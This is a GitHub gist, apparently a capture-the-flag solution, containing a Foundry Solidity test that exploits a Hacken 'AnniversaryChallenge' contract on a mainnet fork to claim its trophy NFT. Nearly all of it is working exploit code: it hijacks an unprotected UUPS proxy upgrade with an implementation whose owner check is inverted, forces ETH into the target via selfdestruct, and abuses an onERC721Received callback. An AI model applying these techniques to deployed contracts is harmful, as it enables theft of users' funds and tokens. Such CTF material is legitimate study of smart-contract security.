Skip to content

Instantly share code, notes, and snippets.

@D4r3-D3v1L
Created August 27, 2024 13:32
Show Gist options
  • Save D4r3-D3v1L/8077b64886c331f2f2f5470d6e645e11 to your computer and use it in GitHub Desktop.
Save D4r3-D3v1L/8077b64886c331f2f2f5470d6e645e11 to your computer and use it in GitHub Desktop.
Hacken Exploit File
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {AnniversaryChallenge} from "../src/AnniversaryChallenge.sol";
import {SimpleStrategy} from "../src/SimpleStrategy.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
// Rules:
// 1. Use Ethernet fork.
// 2. Use 20486120 block.
// 3. No deal() and vm.deal() allowed.
// 4. No setUp() amendmends allowed.
// 5. The exploit must be executed in single transaction.
// 6. Your task is to claim trophy and get Trophy NFT as player account.
contract AnniversaryChallengeTest is Test {
address player;
AnniversaryChallenge challenge;
//Rules: No setUp changes are allowed.
function setUp() public {
player = vm.addr(42);
vm.deal(player, 1 ether);
address simpleStrategyImplementation = address(new SimpleStrategy());
bytes memory data = abi.encodeCall(
SimpleStrategy.initialize,
address(challenge)
);
address proxy = address(
new ERC1967Proxy(simpleStrategyImplementation, data)
);
SimpleStrategy simpleStrategy = SimpleStrategy(proxy);
challenge = new AnniversaryChallenge(simpleStrategy);
deal(simpleStrategy.usdcAddress(), address(challenge), 1e6);
}
function test_claimTrophy() public {
vm.startPrank(player);
//Execute exploit here.
TransferEth tfEth = new TransferEth();
address tfEthAddress = address(tfEth);
payable(tfEthAddress).transfer(2000 wei);
address simpleStrategyV2Implementation = address(
new SimpleStrategyV2()
);
SimpleStrategy simpleStrategy = challenge.simpleStrategy();
simpleStrategy.upgradeTo(simpleStrategyV2Implementation);
challenge.claimTrophy(player, 1e3);
NFTReceiver receiver = new NFTReceiver(
address(challenge),
tfEthAddress,
address(challenge.trophyNFT()),
player
);
challenge.claimTrophy(address(receiver), 1e3);
vm.stopPrank();
assertEq(challenge.trophyNFT().ownerOf(1), player);
}
}
contract TransferEth {
function transferEth(address challenge) external {
selfdestruct(payable(challenge));
}
receive() external payable {}
}
contract SimpleStrategyV2 is UUPSUpgradeable {
using SafeERC20 for IERC20;
address public owner;
mapping(address => uint) public balances;
address public immutable vault;
address public immutable usdcAddress;
constructor() {
vault = 0xBe53A109B494E5c9f97b9Cd39Fe969BE68BF6204;
usdcAddress = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
}
function initialize(address _owner) public initializer {
owner = _owner;
__UUPSUpgradeable_init();
}
function deployFunds(uint256 amount) external returns (uint256 shares) {
require(amount > 0, "Zero amount not allowed.");
balances[msg.sender] += amount;
// IERC20(usdcAddress).safeTransferFrom(msg.sender, address(this), amount);
// IERC20(usdcAddress).safeApprove(vault, amount);
// shares = IERC4626(vault).deposit(amount, address(this));
}
function freeFunds(uint256 amount) external {
revert("Not implemented");
}
function harvestAndReport() external returns (uint256 totalAssets) {
revert("Not implemented");
}
function _authorizeUpgrade(address newImplementation) internal override {
require(owner != msg.sender, "Not an owner.");
}
}
interface ITransferEth {
function transferEth(address) external;
}
contract NFTReceiver is IERC721Receiver {
address transferEth;
address challenge;
IERC721 nft;
address player;
constructor(
address chall,
address tfeth,
address nftAddr,
address playAddr
) {
transferEth = tfeth;
challenge = chall;
nft = IERC721(nftAddr);
player = playAddr;
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) public virtual override returns (bytes4) {
console.log("came in nft");
nft.safeTransferFrom(address(this), player, 1);
ITransferEth(transferEth).transferEth(challenge);
return this.onERC721Received.selector;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment